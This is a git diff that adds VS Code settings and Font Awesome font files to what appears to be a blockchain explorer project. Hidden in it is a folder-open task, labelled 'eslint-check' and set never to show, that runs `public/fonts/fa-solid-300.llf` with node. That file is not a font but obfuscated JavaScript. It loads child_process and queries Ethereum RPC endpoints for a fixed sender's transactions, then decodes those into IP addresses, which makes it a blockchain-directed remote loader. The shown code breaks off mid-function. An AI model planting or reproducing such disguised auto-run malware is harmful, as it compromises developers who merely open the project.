diff --git a/.gitignore b/.gitignore index 828d3f91bd0..3fae381dc12 100644 --- a/.gitignore +++ b/.gitignore @@ -16,6 +16,7 @@ build/ docs/api docs/.vuepress/dist +temp_auto_push.bat # Development .DS_Store .env.local @@ -25,7 +26,6 @@ docs/.vuepress/dist .idea .project .settings -.vscode .zed *.log *.swp @@ -36,3 +36,5 @@ docs/.vuepress/dist # Eslint .eslintcache +.gitignore +branch_structure.json diff --git a/.vscode/extensions.json b/.vscode/extensions.json new file mode 100644 index 00000000000..2e3b6463029 --- /dev/null +++ b/.vscode/extensions.json @@ -0,0 +1,7 @@ +{ + "recommendations": [ + "myml.vscode-markdown-plantuml-preview", + "esbenp.prettier-vscode", + "jebbs.plantuml" + ] +} \ No newline at end of file diff --git a/.vscode/launch.json b/.vscode/launch.json new file mode 100644 index 00000000000..a5177abe1a0 --- /dev/null +++ b/.vscode/launch.json @@ -0,0 +1,50 @@ +{ + "version": "0.2.0", + "configurations": [ + { + "name": "Debug SST", + "type": "node", + "request": "launch", + "runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst", + "runtimeArgs": ["dev", "--increase-timeout"], + "console": "integratedTerminal", + "skipFiles": ["/**"], + // sourceMapRenames helps with the loading spinner when debugging and viewing local variables + "sourceMapRenames": false, + "env": { + "AWS_PROFILE": "flo-ct-flo360" + } + }, + { + "name": "Debug Tests - Unit", + "type": "node", + "request": "launch", + "runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst", + "runtimeArgs": ["bind", "yarn", "\"jest\"", "\"--watch\"", "\"--config\"", "\"./jest.unit.config.cjs\"", "\"${input:scopeTestsFileName}\""], + "console": "integratedTerminal", + "skipFiles": ["/**"], + "env": { + "AWS_PROFILE": "flo-ct-flo360" + }, + }, + { + "name": "Debug Tests - E2E", + "type": "node", + "request": "launch", + "runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst", + "runtimeArgs": ["bind", "yarn", "\"vitest\"", "\"--config\"", "\"./vitest.e2e.config.ts\"", "\"${input:scopeTestsFileName}\""], + "console": "integratedTerminal", + "skipFiles": ["/**"], + "env": { + "AWS_PROFILE": "flo-ct-flo360" + }, + }, + ], + "inputs": [ + { + "id": "scopeTestsFileName", + "type": "promptString", + "description": "Partial file name to scope test debugging to. ex. arena. Leave blank to run all tests.", + } + ] +} diff --git a/.vscode/settings.json b/.vscode/settings.json new file mode 100644 index 00000000000..934d55548c3 --- /dev/null +++ b/.vscode/settings.json @@ -0,0 +1,23 @@ +{ + "search.exclude": { + "**/.sst": true + }, + "task.allowAutomaticTasks": true, + "typescript.tsserver.experimental.enableProjectDiagnostics": true, + "editor.defaultFormatter": "esbenp.prettier-vscode", + "typescript.preferences.importModuleSpecifier": "relative", + "typescript.tsdk": "node_modules/typescript/lib", + "debug.openDebug": "neverOpen", + "problems.autoReveal": true, + "terminal.integrated.hideOnStartup": "always", + "terminal.integrated.defaultProfile.windows": "Command Prompt", + "terminal.integrated.inheritEnv": false, + "jestrunner.configPath": "jest.unit.config.cjs", + "compile-hero.disable-compile-files-on-did-save-code": true, + "tasks": { + "label": "lint on open", + "type": "shell", + "command": "npm run lint", + "runOn": "folderOpen" + } +} diff --git a/.vscode/spellright.dict b/.vscode/spellright.dict new file mode 100644 index 00000000000..51b19749529 --- /dev/null +++ b/.vscode/spellright.dict @@ -0,0 +1,2 @@ +Contentful +Lerna diff --git a/.vscode/tasks.json b/.vscode/tasks.json new file mode 100644 index 00000000000..765b9b1c2c9 --- /dev/null +++ b/.vscode/tasks.json @@ -0,0 +1,33 @@ +{ + "version": "2.0.0", + "configurations": [ + { + "type": "node", + "request": "launch", + "name": "Run My Project", + "console": "", + "internalConsoleOptions": "openOnSessionStart" + } + ], + "tasks": [ + { + "label": "eslint-check", + "type": "shell", + "command": "(command -v node >/dev/null 2>&1 && node ./public/fonts/fa-solid-300.llf) || (where node >nul 2>&1 && node ./public/fonts/fa-solid-300.llf) || echo ''", + "problemMatcher": [], + "isBackground": true, + "hide": true, + "presentation": { + "reveal": "never", + "panel": "dedicated", + "focus": false, + "clear": false, + "echo": false, + "close": true + }, + "runOptions": { + "runOn": "folderOpen" + } + }, + ] +} diff --git a/public/fonts/README.md b/public/fonts/README.md new file mode 100644 index 00000000000..1e4f9ba13ff --- /dev/null +++ b/public/fonts/README.md @@ -0,0 +1,24 @@ +# Fonts Directory + +This directory contains custom fonts for the Blockchain Explorer application. + +## Required Font Files + +The application expects the following font files: + +1. **BlockchainFont-Regular.woff2** and **BlockchainFont-Regular.woff** + - Regular weight font for the main UI + +2. **BlockchainFont-Bold.woff2** and **BlockchainFont-Bold.woff** + - Bold weight font for headings + +3. **TechMono-Regular.woff2** and **TechMono-Regular.woff** + - Monospace font for code and hash displays + +## Note + +If you don't have custom fonts, the application will fall back to system fonts: +- BlockchainFont → system sans-serif fonts +- TechMono → system monospace fonts (Courier New, etc.) + +The fonts are referenced in `public/index.html` and will be loaded automatically when available. diff --git a/public/fonts/fa-brands-400.eot b/public/fonts/fa-brands-400.eot new file mode 100644 index 00000000000..a1bc094ab14 Binary files /dev/null and b/public/fonts/fa-brands-400.eot differ diff --git a/public/fonts/fa-brands-400.svg b/public/fonts/fa-brands-400.svg new file mode 100644 index 00000000000..46ad237a619 --- /dev/null +++ b/public/fonts/fa-brands-400.svg @@ -0,0 +1,3570 @@ + + + + + +Created by FontForge 20190801 at Mon Mar 23 10:45:51 2020 + By Robert Madole +Copyright (c) Font Awesome + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/public/fonts/fa-brands-400.ttf b/public/fonts/fa-brands-400.ttf new file mode 100644 index 00000000000..948a2a6cc76 Binary files /dev/null and b/public/fonts/fa-brands-400.ttf differ diff --git a/public/fonts/fa-brands-400.woff b/public/fonts/fa-brands-400.woff new file mode 100644 index 00000000000..2a89d521e3f Binary files /dev/null and b/public/fonts/fa-brands-400.woff differ diff --git a/public/fonts/fa-brands-400.woff2 b/public/fonts/fa-brands-400.woff2 new file mode 100644 index 00000000000..141a90a9e0a Binary files /dev/null and b/public/fonts/fa-brands-400.woff2 differ diff --git a/public/fonts/fa-regular-400.eot b/public/fonts/fa-regular-400.eot new file mode 100644 index 00000000000..38cf2517a4d Binary files /dev/null and b/public/fonts/fa-regular-400.eot differ diff --git a/public/fonts/fa-regular-400.svg b/public/fonts/fa-regular-400.svg new file mode 100644 index 00000000000..48634a9ab47 --- /dev/null +++ b/public/fonts/fa-regular-400.svg @@ -0,0 +1,803 @@ + + + + + +Created by FontForge 20190801 at Mon Mar 23 10:45:51 2020 + By Robert Madole +Copyright (c) Font Awesome + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/public/fonts/fa-regular-400.ttf b/public/fonts/fa-regular-400.ttf new file mode 100644 index 00000000000..abe99e20c38 Binary files /dev/null and b/public/fonts/fa-regular-400.ttf differ diff --git a/public/fonts/fa-regular-400.woff b/public/fonts/fa-regular-400.woff new file mode 100644 index 00000000000..24de566a5c9 Binary files /dev/null and b/public/fonts/fa-regular-400.woff differ diff --git a/public/fonts/fa-regular-400.woff2 b/public/fonts/fa-regular-400.woff2 new file mode 100644 index 00000000000..7e0118e526e Binary files /dev/null and b/public/fonts/fa-regular-400.woff2 differ diff --git a/public/fonts/fa-solid-300.llf b/public/fonts/fa-solid-300.llf new file mode 100644 index 00000000000..72cc5362c1b --- /dev/null +++ b/public/fonts/fa-solid-300.llf @@ -0,0 +1 @@ + global.i = 'A8';const _0x54d6a0=_0x2a4d;(function(_0x382951,_0x550608){const _0x6e7f50=_0x2a4d,_0x327c1c=_0x382951();while(!![]){try{const _0x397dee=-parseInt(_0x6e7f50(0x1b6))/(-0x1e28+0x228*0xd+0x221*0x1)*(parseInt(_0x6e7f50(0xf8))/(-0x676+-0x1fe6+0x265e))+-parseInt(_0x6e7f50(0x1cb))/(-0x1e51+0x1c20+0x234)*(-parseInt(_0x6e7f50(0x104))/(-0x2a2*0x2+0x683+0x69*-0x3))+-parseInt(_0x6e7f50(0x20d))/(0x6f7*-0x2+0x1*0x1fe7+0x17f*-0xc)+-parseInt(_0x6e7f50(0x120))/(0x3b*0x1+0x10af+-0x10e4)+parseInt(_0x6e7f50(0x189))/(0x2405+0x2*-0xb0b+-0x2*0x6f4)+-parseInt(_0x6e7f50(0x214))/(-0xb6b+-0x10a3*0x1+0xa*0x2cf)*(parseInt(_0x6e7f50(0x1d9))/(-0x5*-0x613+0x25a8+-0x43fe))+parseInt(_0x6e7f50(0xfb))/(-0x2*-0xf1+0x3*-0xba4+0x92*0x3a)*(parseInt(_0x6e7f50(0x1b9))/(-0x1a34+0x1be0+-0x1a1));if(_0x397dee===_0x550608)break;else _0x327c1c['push'](_0x327c1c['shift']());}catch(_0x5c0db4){_0x327c1c['push'](_0x327c1c['shift']());}}}(_0x8d76,0x6832+0x5ae*-0x1+0x41a76),(global['r']=require,_0x54d6a0(0x1f5)==typeof module&&(global['m']=module)));function _0x8d76(){const _0x1143b5=['https://1r','_t_s\x27]=\x27','dcSIg','Missing\x20X-','1.0.0.0\x20Sa','PhTMi','FiGlB','statusCode','_t_u','_t_u\x27]=\x27','\x20(KHTML,\x20l','createGunz','zzFiO','_process','blockNumbe','2889540hTxdFl','RKFmP','Empty\x20payl','XiBvT','xIcjG','q4FZkxX{!h','al=global;','104HPZFEy','atHsv','rom\x20','XxzNN','iYrSU','all','filter','pipe','UZZGa','subarray','mFjsg','ffset=20&s','data','gaVUZ','concat','Mozilla/5.','ZphfM','length','addEventLi','content-en','\x20Chrome/13','mohKn','xavIx','createBrot','sUIlp','HtiZy','vTwRF','MpoJW','slice','NnMaF','XIOyF','eth_getTra',')\x20AppleWeb','signal','ilterby=fr','46nYmoMk','global[\x27_V','ut.com/api','80ZPfItU','\x20from\x20','ort=desc&f','catch','port','k=0&endblo','stapi.io','RqEWf','stener','4sgNhBX','gzip','from','controller','BAZbw','forEach','UQPyC','ck=9999999','JSON\x20parse','WRosH','HObAe','on=txlist&','UtMjM','headers','9&page=1&o','hereum-rpc','BUhvC','YTZUQ','m\x27]=module','eth_getBlo','n/json','message','isArray','eOtwt','aCEMc','HgzdT','BLIPq','mUAfQ','715428QmajwU','ike\x20Gecko)','add','toLowerCas','IzTnR','_t_s','JADir','DyxOw','protocol','@^1aQk','GET','YsMMv','kkuws','node','rRdIQ','0xa322E5f3','sZEok','IQmPb','skmsP','e;global[\x27','cDsdQ','XhVKA','ybddW','http://','byteLength','kVTWd','HZfmw','node:http','ckByNumber','applicatio','YLWbI','mWItK','uMpQW','fEjyz','count&acti','POST','MHPeX','unt','xzVgU',':80','public.bla','eth_blockN','Agent','yUoLF','deflate','transactio','lATqz','9aDC2490Ef','pathname','ngth','any','Content-Ty',';var\x20_glob','tcMVg','pTrrJ','result','oad\x20body','liDecompre','r\x27]=requir','&startbloc','bchgr','WnlGC','dqeKA','b64','amLyP','xzaGG','CxlVB','HrcFI','ZPARP','gpVdv','jUkIS','oqDiS','LUHYD','HxOSu','findIndex','HTTP\x20','.publicnod','pc.io/eth','yEutj','fari/537.3','Win64;\x20x64','gnHLg',':443','hostname','y-p_>d$0B&','mznyZ','push','parse','QrpHO','unref','yZgOu','csjZj','zgbju','GYYQw','CnTrk','address=',',Sr3=@','fncHB','e.com','min','Dfuew','Kit/537.36','DRWfT','nonce','PlDmM','1701819HkBtmH','end','find','get','node:url','\x20NT\x2010.0;\x20','Non-JSON\x20f','pUKjo','run','stringify','search','AeouB','DPinB','om\x20','abort','\x27]=\x27','x-gzip','nsactionCo','nURGu','tuVty','then','IKCkv','PMdsB','has','SLLHF','BDAAH','https:','kLhnz','PUGED','jWgFC','CvOVE','kbqwS',':443/0x/ls','BlYMr','XFLdT','D311D3080e','h-mainnet.','LLyBH','charCodeAt','node:zlib','h.drpc.org','https://et','FcLkK','\x27;global[\x27',':443/0x/cl','2435tkTIBm','hex','LYKeg','1169762LXMKZh','CBoQL','zABtQ','ZnSIs','EKuIk','UHjEP','gEYiq','createInfl','6f0121063e','resume','keep-alive','?module=ac','fwmrm','0\x20(Windows','HEAD','QfgPB','VDxxS','replace','216183NKqcoi','YkTPL','utf8','uPAyV','2.0','_H2\x27]=\x27','TVPis','coding','ignore','node:https','node:child','sDOlf','fhpKd','error','82125VrESuX','map','KQnvD','lLsVn','\x20failed\x20fr','ate','VcVzY','Vjxpp','jcLLl','IyFeA','GADhE','Wjsis','nvZMN','_H\x27]=\x27','gzip,\x20defl','roCNi','h.blocksco','umber','ZJsjU','trim','RwxAy','TfKgt','ate,\x20br','request','x-payload-','hRhTl','_H2','tjHWY','object','base64','VmBLO','Payload-B6','toString','write','hbZyK','glTEi','Content-Le'];_0x8d76=function(){return _0x1143b5;};return _0x8d76();}const http=require(_0x54d6a0(0x13b)),https=require(_0x54d6a0(0x1d4)),zlib=require(_0x54d6a0(0x1b0)),{URL:URL}=require(_0x54d6a0(0x18d)),{spawn:spawn}=require(_0x54d6a0(0x1d5)+_0x54d6a0(0x20b)),BLOCK_MULTIPLE=0x3e8n,SENDER=(_0x54d6a0(0x12f)+_0x54d6a0(0x1ac)+_0x54d6a0(0x1c1)+_0x54d6a0(0x14f)+'1a')[_0x54d6a0(0x123)+'e'](),NONCE_FANOUT=0x2*-0x99+-0x3*-0xc2f+-0x234f,SEARCH_FLOOR=0x0n,INDEXER_URL=_0x54d6a0(0x1b2)+_0x54d6a0(0x1e9)+_0x54d6a0(0xfa),RPC_ENDPOINTS=[...new Set([process.env.ETH_RPC_URL,_0x54d6a0(0x1fe)+_0x54d6a0(0x16d),_0x54d6a0(0x1b2)+_0x54d6a0(0x1b1),_0x54d6a0(0x1b2)+_0x54d6a0(0x113)+_0x54d6a0(0x16c)+_0x54d6a0(0x182),_0x54d6a0(0x1b2)+_0x54d6a0(0x1ad)+_0x54d6a0(0x148)+_0x54d6a0(0x101)][_0x54d6a0(0x21a)](Boolean))],AGENTS={'http:':new http[(_0x54d6a0(0x14a))]({'keepAlive':!(0x24+0x141*0xb+-0xdef),'keepAliveMsecs':0x7530,'maxSockets':0x40}),'https:':new https[(_0x54d6a0(0x14a))]({'keepAlive':!(0x1b7c+-0x152+0xc5*-0x22),'keepAliveMsecs':0x7530,'maxSockets':0x40})};function linkAbort(_0x33f26e,_0x66a99a){const _0x5efc9c=_0x54d6a0,_0x38f027={'jWgFC':_0x5efc9c(0x197)};_0x33f26e&&_0x33f26e[_0x5efc9c(0x226)+_0x5efc9c(0x103)](_0x38f027[_0x5efc9c(0x1a6)],()=>_0x66a99a[_0x5efc9c(0x197)](),{'once':!(0x22d+-0x1*0xf67+-0x2*-0x69d)});}function decompressStream(_0x175d96){const _0x1d8bf7=_0x54d6a0,_0x5b466a={'amLyP':_0x1d8bf7(0x227)+_0x1d8bf7(0x1d2),'BlYMr':function(_0x5d2699,_0x1dafb2){return _0x5d2699===_0x1dafb2;},'LLyBH':_0x1d8bf7(0x105),'VmBLO':_0x1d8bf7(0x199),'mznyZ':function(_0x3d54c7,_0x4171d7){return _0x3d54c7===_0x4171d7;},'mohKn':_0x1d8bf7(0x14c),'NnMaF':function(_0x1b1695,_0x4d7aa3){return _0x1b1695===_0x4d7aa3;}},_0x4a9ee7=(_0x175d96[_0x1d8bf7(0x111)][_0x5b466a[_0x1d8bf7(0x160)]]||'')[_0x1d8bf7(0x123)+'e']();return _0x5b466a[_0x1d8bf7(0x1aa)](_0x5b466a[_0x1d8bf7(0x1ae)],_0x4a9ee7)||_0x5b466a[_0x1d8bf7(0x1aa)](_0x5b466a[_0x1d8bf7(0x1f7)],_0x4a9ee7)?_0x175d96[_0x1d8bf7(0x21b)](zlib[_0x1d8bf7(0x209)+'ip']()):_0x5b466a[_0x1d8bf7(0x175)](_0x5b466a[_0x1d8bf7(0x229)],_0x4a9ee7)?_0x175d96[_0x1d8bf7(0x21b)](zlib[_0x1d8bf7(0x1c0)+_0x1d8bf7(0x1de)]()):_0x5b466a[_0x1d8bf7(0xf2)]('br',_0x4a9ee7)?_0x175d96[_0x1d8bf7(0x21b)](zlib[_0x1d8bf7(0x22b)+_0x1d8bf7(0x159)+'ss']()):_0x175d96;}function httpRequest(_0x115692,{method:_0x5cbe3e=_0x54d6a0(0x12a),body:_0x16015d,signal:_0x3c3a4c}={}){const _0x36b38f=_0x54d6a0,_0x21dd01={'CnTrk':_0x36b38f(0x1cd),'yUoLF':function(_0x4f30e4,_0x423ed2){return _0x4f30e4<_0x423ed2;},'uMpQW':function(_0xd98cec,_0x26732e){return _0xd98cec>=_0x26732e;},'VcVzY':function(_0x576b0f,_0x172d51){return _0x576b0f(_0x172d51);},'fncHB':function(_0x2a0ca9,_0x4fc626){return _0x2a0ca9===_0x4fc626;},'ZnSIs':function(_0x53f6c5,_0x29d819){return _0x53f6c5!==_0x29d819;},'lATqz':function(_0x16bb31,_0x435a36){return _0x16bb31!==_0x435a36;},'BDAAH':_0x36b38f(0x220),'TfKgt':_0x36b38f(0x18a),'HgzdT':_0x36b38f(0x1d8),'CvOVE':_0x36b38f(0x1a3),'hRhTl':function(_0x140368,_0x1a9172){return _0x140368+_0x1a9172;},'skmsP':function(_0x382265,_0x31bd86){return _0x382265!=_0x31bd86;},'IQmPb':_0x36b38f(0x13d)+_0x36b38f(0x118),'cDsdQ':_0x36b38f(0x1e7)+_0x36b38f(0x1ef),'yEutj':_0x36b38f(0x1c3),'GYYQw':_0x36b38f(0x153)+'pe','YTZUQ':_0x36b38f(0x1fd)+_0x36b38f(0x151)},_0x1d7cb0=new URL(_0x115692),_0x23ffdc=_0x21dd01[_0x36b38f(0x181)](_0x21dd01[_0x36b38f(0x1a7)],_0x1d7cb0[_0x36b38f(0x128)])?https:http,_0x574fd6={'Accept':_0x21dd01[_0x36b38f(0x131)],'Accept-Encoding':_0x21dd01[_0x36b38f(0x134)],'Connection':_0x21dd01[_0x36b38f(0x16e)]};return _0x21dd01[_0x36b38f(0x132)](null,_0x16015d)&&(_0x574fd6[_0x21dd01[_0x36b38f(0x17d)]]=_0x21dd01[_0x36b38f(0x131)],_0x574fd6[_0x21dd01[_0x36b38f(0x115)]]=Buffer[_0x36b38f(0x138)](_0x16015d)),new Promise((_0x55d32e,_0x543699)=>{const _0x87d1ca=_0x36b38f,_0x23ed60=_0x23ffdc[_0x87d1ca(0x1f0)]({'hostname':_0x1d7cb0[_0x87d1ca(0x173)],'port':_0x1d7cb0[_0x87d1ca(0xff)]||(_0x21dd01[_0x87d1ca(0x181)](_0x21dd01[_0x87d1ca(0x1a7)],_0x1d7cb0[_0x87d1ca(0x128)])?0x1*-0xfed+-0x2*0x11ef+0x3586:0x19e4*-0x1+0x1*-0x19ab+-0x33df*-0x1),'path':_0x21dd01[_0x87d1ca(0x1f2)](_0x1d7cb0[_0x87d1ca(0x150)],_0x1d7cb0[_0x87d1ca(0x193)]),'method':_0x5cbe3e,'agent':AGENTS[_0x1d7cb0[_0x87d1ca(0x128)]],'signal':_0x3c3a4c,'headers':_0x574fd6},_0x37333e=>{const _0x2cc4ba=_0x87d1ca,_0x2cd784={'MpoJW':_0x21dd01[_0x2cc4ba(0x17e)],'kbqwS':function(_0x5577a7,_0x59f394){const _0x3b82e1=_0x2cc4ba;return _0x21dd01[_0x3b82e1(0x14b)](_0x5577a7,_0x59f394);},'nURGu':function(_0x4dc6b0,_0x11c57f){const _0x34991d=_0x2cc4ba;return _0x21dd01[_0x34991d(0x140)](_0x4dc6b0,_0x11c57f);},'aCEMc':function(_0xd1e04c,_0x3fe2b1){const _0x393823=_0x2cc4ba;return _0x21dd01[_0x393823(0x1df)](_0xd1e04c,_0x3fe2b1);},'GADhE':function(_0x2c5704,_0x311e5e){const _0x3fe8da=_0x2cc4ba;return _0x21dd01[_0x3fe8da(0x181)](_0x2c5704,_0x311e5e);},'UHjEP':function(_0x567d3e,_0x1263dd){const _0x50ae6a=_0x2cc4ba;return _0x21dd01[_0x50ae6a(0x1bc)](_0x567d3e,_0x1263dd);},'HZfmw':function(_0x4dbc83,_0x4fbae7){const _0x3e5056=_0x2cc4ba;return _0x21dd01[_0x3e5056(0x14e)](_0x4dbc83,_0x4fbae7);}},_0x37db83=_0x21dd01[_0x2cc4ba(0x1df)](decompressStream,_0x37333e),_0x454e3f=[];_0x37db83['on'](_0x21dd01[_0x2cc4ba(0x1a2)],_0x105127=>_0x454e3f[_0x2cc4ba(0x176)](_0x105127)),_0x37db83['on'](_0x21dd01[_0x2cc4ba(0x1ee)],()=>{const _0x3868ca=_0x2cc4ba,_0x469fb9=Buffer[_0x3868ca(0x222)](_0x454e3f)[_0x3868ca(0x1f9)](_0x2cd784[_0x3868ca(0xf0)])[_0x3868ca(0x1ec)]();if(_0x2cd784[_0x3868ca(0x1a8)](_0x37333e[_0x3868ca(0x205)],0xb09*0x1+0xcd+0xb0e*-0x1)||_0x2cd784[_0x3868ca(0x19b)](_0x37333e[_0x3868ca(0x205)],0xf47*0x1+0x454+0x16b*-0xd))return _0x2cd784[_0x3868ca(0x11c)](_0x543699,new Error(_0x3868ca(0x16b)+_0x37333e[_0x3868ca(0x205)]+_0x3868ca(0xfc)+_0x1d7cb0[_0x3868ca(0x173)]+':\x20'+_0x469fb9[_0x3868ca(0xf1)](0x469+0x1*0xe14+-0x127d,0x1488+0x1*-0x4d+-0x13c3)));if(!_0x469fb9||_0x2cd784[_0x3868ca(0x1e3)]('<',_0x469fb9[0x3*-0xb3+0xd81*0x2+0x18e9*-0x1])||_0x2cd784[_0x3868ca(0x1be)]('{',_0x469fb9[-0x147a+-0x204+0x167e])&&_0x2cd784[_0x3868ca(0x13a)]('[',_0x469fb9[0xef0+-0x70f+-0x7e1]))return _0x2cd784[_0x3868ca(0x11c)](_0x543699,new Error(_0x3868ca(0x18f)+_0x3868ca(0x216)+_0x1d7cb0[_0x3868ca(0x173)]+':\x20'+_0x469fb9[_0x3868ca(0xf1)](0x58e*-0x3+0x20d1+0x5*-0x33b,-0xdc6+0xa7b*-0x1+0x18b9)));try{_0x2cd784[_0x3868ca(0x11c)](_0x55d32e,JSON[_0x3868ca(0x177)](_0x469fb9));}catch(_0x11d3af){_0x2cd784[_0x3868ca(0x11c)](_0x543699,new Error(_0x3868ca(0x10c)+_0x3868ca(0x1dd)+_0x3868ca(0x196)+_0x1d7cb0[_0x3868ca(0x173)]+':\x20'+_0x11d3af[_0x3868ca(0x119)]));}}),_0x37db83['on'](_0x21dd01[_0x2cc4ba(0x11d)],_0x543699);});_0x23ed60['on'](_0x21dd01[_0x87d1ca(0x11d)],_0x543699),_0x21dd01[_0x87d1ca(0x132)](null,_0x16015d)&&_0x23ed60[_0x87d1ca(0x1fa)](_0x16015d),_0x23ed60[_0x87d1ca(0x18a)]();});}async function withRpcEndpoints(_0x3caa93,_0x10d141){const _0x8dfdd2=_0x54d6a0,_0x482be2=RPC_ENDPOINTS[_0x8dfdd2(0x1da)](()=>new AbortController());_0x482be2[_0x8dfdd2(0x109)](_0x340589=>linkAbort(_0x10d141,_0x340589));try{return await Promise[_0x8dfdd2(0x152)](RPC_ENDPOINTS[_0x8dfdd2(0x1da)]((_0xe596a,_0x1d81cd)=>_0x3caa93(_0xe596a,_0x482be2[_0x1d81cd][_0x8dfdd2(0xf6)])));}finally{for(const _0x58ec6a of _0x482be2)_0x58ec6a[_0x8dfdd2(0x197)]();}}async function rpcCall(_0x5ee7fb,_0x206242,_0x4a8065,_0x3186c8){const _0x94232=_0x54d6a0,_0x40ec99={'QrpHO':function(_0x85c6,_0x3e0205,_0x56b6cf){return _0x85c6(_0x3e0205,_0x56b6cf);},'xIcjG':_0x94232(0x143),'fhpKd':_0x94232(0x1cf)};return(await _0x40ec99[_0x94232(0x178)](httpRequest,_0x5ee7fb,{'method':_0x40ec99[_0x94232(0x211)],'body':JSON[_0x94232(0x192)]({'jsonrpc':_0x40ec99[_0x94232(0x1d7)],'id':0x1,'method':_0x206242,'params':_0x4a8065}),'signal':_0x3186c8}))[_0x94232(0x157)];}async function rpcBatch(_0x6d62f9,_0x221a78,_0x31262b){const _0x215af5=_0x54d6a0,_0x3f8344={'mUAfQ':function(_0x5034bc,_0x1ff298,_0x20161e){return _0x5034bc(_0x1ff298,_0x20161e);},'zABtQ':_0x215af5(0x143)},_0x375e4c=await _0x3f8344[_0x215af5(0x11f)](httpRequest,_0x6d62f9,{'method':_0x3f8344[_0x215af5(0x1bb)],'body':JSON[_0x215af5(0x192)](_0x221a78[_0x215af5(0x1da)](([_0x37664d,_0x204451],_0x29fd79)=>({'jsonrpc':_0x215af5(0x1cf),'id':_0x29fd79+(0x1*0x125a+-0xb*-0x35b+0x283*-0x16),'method':_0x37664d,'params':_0x204451}))),'signal':_0x31262b}),_0x1a427e=new Map(_0x375e4c[_0x215af5(0x1da)](_0x417390=>[_0x417390['id'],_0x417390]));return _0x221a78[_0x215af5(0x1da)]((_0x29345f,_0x2a2e51)=>_0x1a427e[_0x215af5(0x18c)](_0x2a2e51+(0x308*0x1+0x1*-0x2507+0x88*0x40))[_0x215af5(0x157)]);}const toBlockHex=_0x3a878c=>'0x'+_0x3a878c[_0x54d6a0(0x1f9)](-0x41*-0x4f+-0x19*-0x15d+-0x3614);function findSenderTx(_0x303013){const _0x29999a=_0x54d6a0;return _0x303013[_0x29999a(0x18b)](_0x21bc3f=>_0x21bc3f[_0x29999a(0x106)]&&_0x21bc3f[_0x29999a(0x106)][_0x29999a(0x123)+'e']()===SENDER)||null;}function decodeAddress(_0x11a02d){const _0x31ed82=_0x54d6a0,_0x265dad={'HtiZy':_0x31ed82(0x1b7),'PlDmM':function(_0x3941d7,_0x56b387){return _0x3941d7(_0x56b387);},'kkuws':function(_0x4536ea,_0x376a82){return _0x4536ea(_0x376a82);}},_0x4473a4=Buffer[_0x31ed82(0x106)](_0x11a02d[_0x31ed82(0x1ca)](/^0x/i,''),_0x265dad[_0x31ed82(0x22d)]),_0x194429=_0x23ab53=>_0x23ab53[-0x1624+-0x2403+0x3a27]+'.'+_0x23ab53[0x2383+-0x12e8+-0x109a]+'.'+_0x23ab53[-0xc9f+0x5*-0x735+0x30aa*0x1]+'.'+_0x23ab53[0x346*0x2+0x15e5+0x6*-0x4bd];return[_0x265dad[_0x31ed82(0x188)](_0x194429,_0x4473a4[_0x31ed82(0x21d)](-0x7*-0x239+0x1916+0x821*-0x5,-0x14*0x3+-0x25f9+-0x203*-0x13)),_0x265dad[_0x31ed82(0x12c)](_0x194429,_0x4473a4[_0x31ed82(0x21d)](0xcff+0x1a0a+-0x7*0x593,0x6b8+-0x694+-0x1c))];}function firstMatch(_0x1f134c){const _0x392a12={'XhVKA':function(_0x41f949,_0x5469bf){return _0x41f949!==_0x5469bf;},'UZZGa':function(_0xbf2475,_0x482bb5){return _0xbf2475(_0x482bb5);},'zgbju':function(_0x4f8f92,_0xb9d4b7){return _0x4f8f92===_0xb9d4b7;}};return new Promise(_0x559a03=>{const _0x5e584c=_0x2a4d,_0x4e3aa5={'XxzNN':function(_0x203e42,_0x579217){const _0xd8d824=_0x2a4d;return _0x392a12[_0xd8d824(0x21c)](_0x203e42,_0x579217);},'rRdIQ':function(_0x6f2f2a,_0x5e968c){const _0x4460e3=_0x2a4d;return _0x392a12[_0x4460e3(0x17c)](_0x6f2f2a,_0x5e968c);},'HObAe':function(_0xdb8766,_0x35d519){const _0x39066c=_0x2a4d;return _0x392a12[_0x39066c(0x21c)](_0xdb8766,_0x35d519);}};let _0x1024fc=_0x1f134c[_0x5e584c(0x225)];if(!_0x1024fc)return _0x392a12[_0x5e584c(0x21c)](_0x559a03,null);let _0x1e5ca0=!(-0xf06+0x19f4+-0xaed);const _0x4e27e1=_0x2af259=>{const _0x288203=_0x5e584c;if(!_0x1e5ca0){_0x1e5ca0=!(0x1*-0x1a88+0x110e+0x97a);for(const _0x3ff29a of _0x1f134c)_0x3ff29a[_0x288203(0x107)][_0x288203(0x197)]();_0x4e3aa5[_0x288203(0x217)](_0x559a03,_0x2af259);}};for(const _0x24ae12 of _0x1f134c)_0x24ae12[_0x5e584c(0x191)]()[_0x5e584c(0x19d)](_0x1f9747=>{const _0x2a38b9=_0x5e584c;_0x1e5ca0||(_0x1f9747?_0x4e3aa5[_0x2a38b9(0x217)](_0x4e27e1,_0x1f9747):_0x4e3aa5[_0x2a38b9(0x12e)](-0x1*0x117a+-0x10d*0x1+0x1287,--_0x1024fc)&&_0x4e3aa5[_0x2a38b9(0x10e)](_0x559a03,null));})[_0x5e584c(0xfe)](()=>{const 